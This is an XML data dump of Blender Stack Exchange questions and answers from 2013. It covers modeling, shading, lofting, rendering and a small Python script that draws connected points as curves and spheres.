  <row Id="733" PostTypeId="1" CreationDate="2013-06-08T19:42:25.667" Score="4" ViewCount="5936" Body="&lt;p&gt;I want to make a model look like a low poly count, very detail lacking figure such as like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KT5iN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very much resembling mid to late nineties 3-D polygonal model formats that were run in games on consoles like PS1, N64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could have a look and entail, what steps should I take to design a model similar to those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or like this, for a better overview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfToF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="406" LastEditorUserId="12" LastEditDate="2013-06-08T19:45:39.483" LastActivityDate="2016-07-14T06:03:21.057" Title="How do I make a model resemble one with low poly count?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostTypeId="1" AcceptedAnswerId="735" CreationDate="2013-06-08T19:46:59.150" Score="81" ViewCount="151759" Body="&lt;p&gt;I frequently come to the problem of having a mesh with parts I would like to render smooth and &quot;hard&quot; edges connecting them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the mesh to show the sharp edges but render everything else smooth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example I would like the sides of the individual cylinders render smooth but the intersection between bottom and top to be sharp/flat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oR8gr.png&quot; alt=&quot;flat&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hjj5O.png&quot; alt=&quot;set to smooth&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="14" LastEditDate="2013-09-10T18:55:14.527" LastActivityDate="2020-11-30T12:55:10.640" Title="How to smooth shade an object while retaining hard edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="43" ContentLicense="CC BY-SA 3.0" />
  <row Id="735" PostTypeId="2" ParentId="734" CreationDate="2013-06-08T19:48:35.823" Score="66" Body="&lt;p&gt;There are a few ways to do this but the quickest and most efficient &lt;em&gt;(in your case here)&lt;/em&gt; is to just smooth it the same way, using &lt;em&gt;Shade Smooth&lt;/em&gt; and then adding an &lt;em&gt;Edge Split&lt;/em&gt; modifier to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/manual/modeling/modifiers/generate/edge_split.html&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;EdgeSplit modifier&lt;/em&gt; splits edges within a mesh. The edges to split&#xA;  can be determined from the edge angle (i.e. angle between faces&#xA;  forming this edge), and/or edges marked as sharp.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Splitting an edge affects vertex normal generation at that edge,&#xA;  making the edge appear sharp. Hence, this modifier can be used to&#xA;  achieve the same effect as the Autosmooth button, making edges appear&#xA;  sharp when their angle is above a certain threshold. It can also be&#xA;  used for manual control of the smoothing process, where the user&#xA;  defines which edges should appear smooth or sharp&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here it is as you have it above..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g1NvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the modifier added&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1zYl6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can see some &lt;a href=&quot;https://blender.stackexchange.com/questions/247/how-can-i-make-sharp-geometric-3d-models-look-more-realistic&quot;&gt;more tips here&lt;/a&gt; for getting good quality on hard surface models. BlenderCookie has a &lt;a href=&quot;https://www.youtube.com/watch?v=nBkwodrQq_4&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/tips-for-creating-sharp-edges-while-modeling/&quot; rel=&quot;noreferrer&quot;&gt;archived&lt;/a&gt;) on getting nice sharp edges.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-11-22T00:10:31.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="736" PostTypeId="1" CreationDate="2013-06-08T19:49:54.523" Score="7" ViewCount="7103" Body="&lt;p&gt;I'm working on architectural visualisations, and I can't imagine more useful feature. How render farms for rent do that?&lt;/p&gt;&#xA;" OwnerUserId="408" LastActivityDate="2017-05-24T14:54:34.587" Title="Is there a way to render single frame using network rendering in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;network&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostTypeId="1" CreationDate="2013-06-08T20:12:20.130" Score="7" ViewCount="739" Body="&lt;p&gt;I want to create a script driven animation with Blender. I want to create an animation of lines connecting a bunch of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I change the properties of the line and vertices (color, thickness, textures, etc.).&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="2217" LastEditDate="2014-12-15T16:37:37.373" LastActivityDate="2014-12-15T16:37:37.373" Title="How to create a script that connects points in an animation?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostTypeId="2" ParentId="736" CreationDate="2013-06-08T20:20:34.513" Score="7" Body="&lt;p&gt;I'm not sure if a render farm currently exists to do this, but theoretically it's easy. Simply use a method called Image Stacking, where you render the same image multiple times with different seeds and then mix them together to average out the noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two images would mix 50/50, the third would mix into that by 33.3%, the fourth 25%, 5th 20%... basically 1/n where n is the number of images in the mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the method that &lt;a href=&quot;http://renderfarm.fi&quot;&gt;renderfarm.fi&lt;/a&gt; uses, but I believe they have a minimum animation length so you can't use it to render a single still image.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-06-08T20:20:34.513" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostTypeId="2" ParentId="733" CreationDate="2013-06-08T20:22:03.250" Score="14" Body="&lt;p&gt;It would seem you want to create low-poly art. The &lt;strong&gt;best&lt;/strong&gt; way to do this is to actually model these objects to achieve this look and quality and then texture them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt; amount of modifiers or tricks will get the same unique look. Also using modifiers can make animating, texturing or rigging very difficult and also destroy your mesh topology something that is key in lowpoly style characters/objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/decimate.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Decimate&lt;/em&gt; modifier&lt;/a&gt; might be of some help though, it can reduce mesh geometry but it is not very flexible and generally unpredictable in how it does this when used on complex objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also as bummzack points out below, &lt;strong&gt;alot&lt;/strong&gt; of the detail say you see on low-poly models is mostly from the texture(s)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="29" LastEditDate="2016-07-14T06:03:21.057" LastActivityDate="2016-07-14T06:03:21.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostTypeId="1" AcceptedAnswerId="741" CreationDate="2013-06-08T20:25:09.513" Score="6" ViewCount="455" Body="&lt;p&gt;I've received a model from someone else. Any changes I make to the mesh in &lt;em&gt;Edit Mode&lt;/em&gt; seem to be undone when I return to &lt;em&gt;Object Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is the mesh in &lt;em&gt;Edit Mode&lt;/em&gt;, on the right is the same mesh in &lt;em&gt;Object Mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pKupk.gif&quot; alt=&quot;Example screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="599" LastEditDate="2013-12-16T07:18:18.963" LastActivityDate="2013-12-16T07:18:18.963" Title="Why are my mesh edits reverted?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostTypeId="2" ParentId="740" CreationDate="2013-06-08T20:25:09.513" Score="5" Body="&lt;p&gt;Try going through the following checklist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check to see if the problem might be caused by Modifiers.&lt;/li&gt;&#xA;&lt;li&gt;Try turning off or deleting Shape Keys on the Object Data tab.&lt;/li&gt;&#xA;&lt;li&gt;Clear out any Keyframes&lt;/li&gt;&#xA;&lt;li&gt;Clear displacement and rotation of bones&lt;/li&gt;&#xA;&lt;li&gt;Try removing the armature from the object&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-06-08T20:25:09.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="742" PostTypeId="2" ParentId="734" CreationDate="2013-06-08T20:35:12.743" Score="64" Body="&lt;p&gt;While what iKlsR says is indeed the most efficient, it's often preferred to either add edge loops on both sides of the hard edge, or bevel it (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;). When smooth shaded this produces a more realistic surface since there's seldom any truly sharp corners in reality, and also catches specular highlights nicely showing off the model better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/heVLc.jpg&quot; alt=&quot;Beveled corner with wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/h26BtZ9.png&quot; alt=&quot;Close-up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the Edge Split modifier shouldn't be used when beveling or using edgeloops to sharpen corners. Edge Split physically cuts the model to fake a sharp corner, whereas beveling actually creates the corner.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2015-05-29T08:13:15.867" LastActivityDate="2015-05-29T08:13:15.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="743" PostTypeId="2" ParentId="696" CreationDate="2013-06-08T20:59:53.767" Score="71" Body="&lt;p&gt;To re-center the 3D view pivot to a more convenient point, select a vertex (or series of vertices) near the area you're working on and, in Edit Mode, hit &lt;kbd&gt;Numpad .&lt;/kbd&gt; (the period key on the number pad). The view will now rotate around said element, avoiding those situations where it's nearly impossible to work on an area because you can't get a good look at it (when it rotates too far for you to focus on that area easily). You can also use this shortcut (called &quot;View Selected&quot; in the keymap) in Object Mode to fit the active object in the view and pivot around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to do this every so often as the geometry of your object changes (or the view behavior otherwise gets weird). I recommend using &quot;Rotate Around Selection&quot; under View Manipulation in &lt;strong&gt;File &gt; User Preferences &gt; Interface&lt;/strong&gt; because it makes rotation behavior more predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shortcut is also helpful when dealing with this problem:&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;MMB &lt;img src=&quot;https://i.stack.imgur.com/5CvaO.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; (&lt;a href=&quot;https://www.blender.org/manual/editors/3dview/navigate/3d_view.html#dolly-the-view&quot; rel=&quot;noreferrer&quot;&gt;Dolly View&lt;/a&gt;) changes the view center (which the API calls the &quot;Location&quot; component of the 3D view), which is the source of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read this, it explains how the 3D view works and why your problem occurs (Credit to iKlsR for the link):&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/644/why-does-the-zoom-sometimes-stop-at-a-point&quot;&gt;Why does the zoom sometimes stop at a point?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2016-09-22T13:50:43.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="745" PostTypeId="2" ParentId="726" CreationDate="2013-06-08T21:42:51.983" Score="0" Body="&lt;p&gt;You could extract the alpha channel in an image editor and save it as it's own file. Load the black and white file into Blender and use it as a specular map(using the specular influence).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-08T21:42:51.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="746" PostTypeId="1" AcceptedAnswerId="753" CreationDate="2013-06-08T21:43:11.973" Score="12" ViewCount="16260" Body="&lt;p&gt;I’ve seen some C4D users use a tool called &lt;code&gt;Loft-NURBS&lt;/code&gt; it seemed like a good way to speed up my workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool in Blender to create a surface from multiple splines, but still have the ability to change their shape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gVnbJ.png&quot; alt=&quot;Loft-NURBS in Cinema 4D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Loft-NURBS in Cinema4D&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="2217" LastEditDate="2014-06-26T22:09:10.630" LastActivityDate="2019-08-07T11:46:56.327" Title="Lofting between Splines" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;nurbs-surface&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="747" PostTypeId="2" ParentId="746" CreationDate="2013-06-08T22:00:01.737" Score="7" Body="&lt;p&gt;Yes you can. It is in an addon under &lt;em&gt;Add Curve&lt;/em&gt; called &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Curve_Tools&quot; rel=&quot;noreferrer&quot;&gt;Curve Tools&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2eiml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add some curves to the scene..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tVKe1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;em&gt;Loft&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oF98M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are finished, a mesh is made separate from the curves so you can continue editing or tweaking them.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-08T22:07:45.303" LastActivityDate="2013-06-08T22:07:45.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="748" PostTypeId="2" ParentId="516" CreationDate="2013-06-08T22:16:02.537" Score="65" Body="&lt;p&gt;You can switch between different shaders using a UV mapped image, if you're using cycles. You accomplish this by creating a black and white image mask and using it as the &lt;strong&gt;factor&lt;/strong&gt; for a &lt;strong&gt;mix shader&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has some unique benefits:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can create soft transitions between shaders&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can have multiple shaders in any shapes/areas on a single face, or across edge and face boundaries&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't have to create extra geometry to apply your additional shaders to&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like, notice that this cube only has 6 faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtEjq.jpg&quot; alt=&quot;Multiple shaders using UV mapped image mask, overview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, here's the node setup you use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntll2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also chain multiple mix shaders together to further mask areas defined by your first mask. If I replaced the orange diffuse shader in my node tree above with a mix shader of white gloss and green diffuse, using another mask as a factor, I could separate the orange area shown above into two other materials. You can keep chaining mix shaders as far as you like.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="599" LastEditDate="2014-01-10T00:18:22.813" LastActivityDate="2014-01-10T00:18:22.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostTypeId="5" CreationDate="2013-06-09T00:12:02.113" Score="0" Body="&lt;p&gt;Bones are the base elements of armatures. The visualization of bones can be set in the Armatures &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/armatures/properties/display.html#viewport-display-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;Viewport Display Panel.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bones at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/armatures/bones/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T16:25:25.210" LastActivityDate="2020-10-20T16:25:25.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="750" PostTypeId="4" CreationDate="2013-06-09T00:12:02.113" Score="0" Body="Bones are the individual sections of an armature that are used to deform the mesh. Bones act like other objects (they have properties and can have constraints) but are invisible in the render." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2014-05-16T00:11:26.940" LastActivityDate="2014-05-16T00:11:26.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostTypeId="2" ParentId="737" CreationDate="2013-06-09T05:08:51.143" Score="0" Body="&lt;p&gt;I don't think you could do that. Read the way Blender stores mesh information &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Mesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Either two vertices are connected with an edge, or they're not. One possible way to do that is to use vertex-duplicated object to represent each vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQO9K.png&quot; alt=&quot;Vertex duplication&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and animate thin meshes connecting them (maybe using bones connected to one end of each &quot;edge&quot; objects, or auto-generated shape keys). Then your concerns turn to a simpler matter of tweaking material.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-09T05:08:51.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostTypeId="2" ParentId="183" CreationDate="2013-06-09T06:11:34.180" Score="8" Body="&lt;p&gt;Your problem can be addressed quite easily by switching to a multi scene workflow inside the same blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look Development Scenes (Modeling, Texturing, Rigging and Shading, Create a pose library and action library)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout Scenes (Link objects from Look Development Scenes and Create groups of objects (props), Create Light Rig groups)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation Scenes (Set shot frame range - Instance groups from layout (props/sets in the scene)- Link character rig - Create shot specific animation - In NLA editor mix actions from Look Development and shot specific actions to create master animation - Instance Light rig group and light the scene)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup as many animation scenes with their own frame range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create another scene and then in the sequence editor layout scene strips and compose your animatic.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-06-09T06:11:34.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="753" PostTypeId="2" ParentId="746" CreationDate="2013-06-09T08:38:01.797" Score="12" Body="&lt;p&gt;In blender this is called &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Modeling/Surfaces/Skinning&quot; rel=&quot;noreferrer&quot;&gt;Skinning&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a NURBS surface circle &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;s&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt; to duplicate your the segment a few times.&lt;/li&gt;&#xA;&lt;li&gt;Select you segments, &lt;kbd&gt;a&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; for all of them.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;f&lt;/kbd&gt; to skin selection.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You'll probably also want to unable Endpoint U in the Active Spline panel under &quot;Object data&quot; in the Properties window.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The image included in the question shows a shape with a differing number of segment points. This is currently not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/GONKC2A.png&quot; alt=&quot;Blender NURBS with extra points&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note. &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?133844-Advanced-NURBS-Integration-in-Blender-for-interested-users-only&quot; rel=&quot;noreferrer&quot;&gt;There's work being done to give Blenders limited NURBS a overhaul&lt;/a&gt; (but progress has been slow). &lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-06-09T10:36:11.930" LastActivityDate="2013-06-09T10:36:11.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="754" PostTypeId="2" ParentId="563" CreationDate="2013-06-09T09:14:42.723" Score="2" Body="&lt;p&gt;As brecht noted correctly, this addon is a proof-of-concept and far from finished. There is a lot of WIP code and it's unlikely to run out of the box. The current branch is somewhat in the process of refactoring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been testing a number of concepts regarding pynodes here (idref links to datablocks, node groups, converter system for parsing node trees) which works very nicely for the most part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big TODO is the actual design of a geometry processor, i.e. how geometry data is stored and how nodes can properly address lists to be both flexible and not too complicated. In the meantime this addon must be considered unfinished/broken ...&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-06-09T09:14:42.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostTypeId="2" ParentId="730" CreationDate="2013-06-09T09:19:15.060" Score="9" Body="&lt;p&gt;&lt;em&gt;Without&lt;/em&gt; pinning the node editor will always pick a node tree based on the selected object/material. Pinning disables this context switching so you can keep working on a shader or node group while selecting different objects.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-06-09T09:19:15.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostTypeId="1" AcceptedAnswerId="765" CreationDate="2013-06-09T09:46:16.103" Score="6" ViewCount="1668" Body="&lt;p&gt;I am working on updating an importer for Structure Synth and I am realizing that it might actually not be practical. In structure synth, you can create thousands and thousands of objects, each of which will be exported. Consequently, you would need to make a material for each one as the color variations can be infinite as well, in other words a slightly variation of color for each one. Now, the exporter does this well, however it seems to me the scene becomes unwieldy very fast. Managing 1000 objects and their corresponding materials is basically impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now all I can get out of SS is a translation matrix and RGB values for each object, sphere or cube which I make an ico sphere or cube out of in Blender and then assign a material with RGB value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to instance the objects and materials but retain the all the different colors without having to have all of those objects and materials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="438" LastEditorUserId="20" LastEditDate="2013-06-09T17:58:06.863" LastActivityDate="2016-07-30T12:14:06.277" Title="How should I handle a large number of objects?" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="758" PostTypeId="2" ParentId="737" CreationDate="2013-06-09T10:27:04.557" Score="3" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;w = 1 # weight&#xA;cList = [Vector((0,0,0)),Vector((1,0,0)),Vector((2,0,0)),Vector((2,3,0)),Vector((0,2,1))]&#xA;&#xA;curvedata = bpy.data.curves.new(name='Curve', type='CURVE')&#xA;curvedata.dimensions = '3D'&#xA;&#xA;# Line thickness:&#xA;curvedata.bevel_depth = 0.05&#xA;curvedata.fill_mode = &quot;FULL&quot;&#xA;&#xA;# Point size&#xA;point_size = 0.1&#xA;&#xA;# Line colour:&#xA;line_mat = bpy.data.materials.new(&quot;Red&quot;)&#xA;line_mat.diffuse_color = (1, 0, 0)&#xA;curvedata.materials.append(line_mat)&#xA;&#xA;# Point colour&#xA;point_mat = bpy.data.materials.new(&quot;Green&quot;)&#xA;point_mat.diffuse_color = (0, 1, 0)&#xA;&#xA;objectdata = bpy.data.objects.new(&quot;ObjCurve&quot;, curvedata)&#xA;objectdata.location = (0,0,0) #object origin&#xA;bpy.context.scene.objects.link(objectdata)&#xA;&#xA;polyline = curvedata.splines.new('POLY')&#xA;polyline.points.add(len(cList)-1)&#xA;for num in range(len(cList)):&#xA;    x, y, z = cList[num]&#xA;    polyline.points[num].co = (x, y, z, w)&#xA;    bpy.ops.mesh.primitive_uv_sphere_add(location=(x, y, z), size=0.1)&#xA;    bpy.context.object.data.materials.append(point_mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Base on this &lt;a href=&quot;http://blenderscripting.blogspot.fr/2011/05/blender-25-python-bezier-from-list-of.html&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-09T10:27:04.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostTypeId="2" ParentId="757" CreationDate="2013-06-09T10:49:28.007" Score="2" Body="&lt;p&gt;It can be achieved by having all cube shaped objects sharing the cube mesh (similarly for the sphere shaped objects). When you perform the steps above, the user count for the mesh data block will be more than one per object type. Even if you delete an object, the mesh data block user count will reduce by one. When user count reaches zero (and no fake user flag is set) the memory allocated for the mesh will be reclaimed (garbage collected or deallocated) of closing he session or quitting Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the materials, create a material slot and and attach a material to the object (not the object data, which is the default). Some material slots can have materials attached to the object data and some to object (common materials can be attached to the object data and unique ones to the object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way memory usage can be tamed and you will have color variation as well.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-10T17:57:34.083" LastActivityDate="2013-06-10T17:57:34.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
